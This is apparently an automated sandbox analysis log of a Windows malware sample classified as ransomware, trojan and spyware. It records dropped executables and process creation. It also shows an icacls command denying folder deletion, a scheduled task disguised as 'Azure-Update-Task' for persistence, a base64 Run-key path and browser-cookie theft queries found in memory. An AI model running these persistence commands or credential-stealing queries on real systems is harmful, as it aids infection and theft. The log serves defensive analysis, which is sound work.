Source: C:\Users\user\AppData\Roaming\hwgujdv	Code function: 4_2_0040159A NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	4_2_0040159A

Source: build2.exe.19.dr	Static PE information: Resource name: RT_VERSION type: Intel ia64 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: build2[1].exe.19.dr	Static PE information: Resource name: RT_VERSION type: Intel ia64 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: 01860199.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: D804.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C861.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: B46F.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: F4F7.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: A170.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: CBE6.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: B8C8.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: A3D5.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 673.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: EA44.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: D689.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 388B.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: BC2.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 57DC.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 3E02.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 913F.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: hwgujdv.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ewgujdv.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: D804.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 01860199.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hwgujdv

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@76/330@105/23

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: B46F.exe, 0000001A.00000002.490522313.000000000342C000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: S.slNq

Source: 01860199.exe	ReversingLabs: Detection: 37%
Source: 01860199.exe	Virustotal: Detection: 38%

Source: C:\Users\user\Desktop\01860199.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\01860199.exe C:\Users\user\Desktop\01860199.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hwgujdv C:\Users\user\AppData\Roaming\hwgujdv
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe C:\Users\user\AppData\Local\Temp\D804.exe
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe C:\Users\user\AppData\Local\Temp\D804.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C861.exe C:\Users\user\AppData\Local\Temp\C861.exe
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 68 -ip 68
Source: C:\Users\user\AppData\Local\Temp\C861.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 68 -s 520
Source: unknown	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe "C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe "C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3C54.exe C:\Users\user\AppData\Local\Temp\3C54.exe
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\aafg31.exe "C:\Users\user\AppData\Local\Temp\aafg31.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\NewPlayer.exe "C:\Users\user\AppData\Local\Temp\NewPlayer.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\XandETC.exe "C:\Users\user\AppData\Local\Temp\XandETC.exe"
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B46F.exe C:\Users\user\AppData\Local\Temp\B46F.exe
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process created: C:\Users\user\AppData\Local\Temp\B46F.exe C:\Users\user\AppData\Local\Temp\B46F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A170.exe C:\Users\user\AppData\Local\Temp\A170.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Process created: C:\Users\user\AppData\Local\Temp\A170.exe C:\Users\user\AppData\Local\Temp\A170.exe
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe"
Source: C:\Users\user\Desktop\01860199.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\913F.exe C:\Users\user\AppData\Local\Temp\913F.exe
Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe	Process created: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe "C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Process created: C:\Users\user\AppData\Local\Temp\913F.exe C:\Users\user\AppData\Local\Temp\913F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F4F7.exe C:\Users\user\AppData\Local\Temp\F4F7.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5DA0.exe C:\Users\user\AppData\Local\Temp\5DA0.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe C:\Users\user\AppData\Local\Temp\D804.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C861.exe C:\Users\user\AppData\Local\Temp\C861.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3C54.exe C:\Users\user\AppData\Local\Temp\3C54.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B46F.exe C:\Users\user\AppData\Local\Temp\B46F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 68 -ip 68	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\913F.exe C:\Users\user\AppData\Local\Temp\913F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F4F7.exe C:\Users\user\AppData\Local\Temp\F4F7.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\5DA0.exe C:\Users\user\AppData\Local\Temp\5DA0.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C861.exe C:\Users\user\AppData\Local\Temp\C861.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B46F.exe C:\Users\user\AppData\Local\Temp\B46F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe C:\Users\user\AppData\Local\Temp\D804.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\Temp\D804.exe "C:\Users\user\AppData\Local\Temp\D804.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\aafg31.exe "C:\Users\user\AppData\Local\Temp\aafg31.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\NewPlayer.exe "C:\Users\user\AppData\Local\Temp\NewPlayer.exe"
Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Process created: C:\Users\user\AppData\Local\Temp\XandETC.exe "C:\Users\user\AppData\Local\Temp\XandETC.exe"
Source: C:\Users\user\AppData\Local\Temp\NewPlayer.exe	Process created: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe "C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe"
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe	Process created: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe "C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\B46F.exe	Process created: C:\Users\user\AppData\Local\Temp\B46F.exe C:\Users\user\AppData\Local\Temp\B46F.exe
Source: C:\Users\user\AppData\Local\Temp\A170.exe	Process created: C:\Users\user\AppData\Local\Temp\A170.exe C:\Users\user\AppData\Local\Temp\A170.exe
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	Process created: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe "C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe" --AutoStart
Source: C:\Users\user\AppData\Local\0e111cbe-1163-4b86-ad03-032e194ee525\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\Temp\913F.exe	Process created: C:\Users\user\AppData\Local\Temp\913F.exe C:\Users\user\AppData\Local\Temp\913F.exe
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C120DE80-FDE4-49f5-A713-E902EF062B8A}\InProcServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\D804.tmp

Jump to behavior

Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.563228419.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;U/
Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: aafg31.exe, 00000015.00000003.509760935.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.519312532.000001E2901BF000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.522708339.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.618169870.000001E2901A6000.00000004.00000001.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.563228419.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.511247742.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.525115806.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;
Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: aafg31.exe, 00000015.00000003.569051255.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.566066441.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;pf":"b52%,L
Source: aafg31.exe, 00000015.00000003.509760935.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.519312532.000001E2901BF000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.522708339.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.511247742.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.525115806.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;3ruyIBy79Jhn2KD0MAHndkY5HfXu3FjrUGsXNx+JmqknGWU3y9lQI954Uudblbq3uoFSjReAoFdDgjV4N7oqNL5VJJqg3EYSBvO5Kx47gKSQb2MsIi4GPGwN2iMeKnQ6xbYHfT5EdLH4/NAxqDRgOa1UR+4PTom6c98B13N2A7ORixlv67W5j7NZ8EATp03Hpn9wtWI/ew/j5mPxU6^
Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: aafg31.exe, 00000015.00000003.522708339.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.525115806.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;ce3":2623,"machinee,
Source: aafg31.exe, 00000015.00000002.618169870.000001E2901A6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;uV
Source: aafg31.exe, 00000015.00000002.618777053.000001E291A70000.00000004.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.632373221.000001E291FA0000.00000040.00001000.00020000.00000000.sdmp, aafg31.exe, 00000015.00000002.635269175.000001E292110000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: aafg31.exe, 00000015.00000003.519312532.000001E2901BF000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.522708339.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 00000015.00000003.525115806.000001E2901BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT creation_utc,host_key,name,value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,hex(encrypted_value) encrypted_value,samesite,source_scheme,source_port,is_same_party FROM cookies;YqQj2ohortname":"

Source: C:\Users\user\AppData\Local\Temp\3C54.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\5DA0.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\D804.exe

Code function: 5_2_024A57C6 CreateToolhelp32Snapshot,Module32First,

5_2_024A57C6

Source: 3C54.exe.1.dr, Stub/Program.cs	Base64 encoded string: 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu'
Source: 5DA0.exe.1.dr, Stub/Program.cs	Base64 encoded string: 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu'
Source: 6FA9.exe.1.dr, Stub/Program.cs	Base64 encoded string: 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu'
Source: 9F31.exe.1.dr, Stub/Program.cs	Base64 encoded string: 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu'

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Users\user\AppData\Local\Temp\6d73a97b0c\mnolyk.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:1868:64:WilError_01
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess68
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\D804.exe	Command line argument: T#0y	5_2_00403FE0
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Command line argument: #"#	5_2_00403FE0
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Command line argument: .d\|1	5_2_00403FE0
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Command line argument: K[	5_2_00403FE0
Source: C:\Users\user\AppData\Local\Temp\D804.exe	Command line argument: kernel32.dll	5_2_00403FE0

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\de8c49a6-0e90-48ec-87c8-3cd1f6f0601e\D804.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
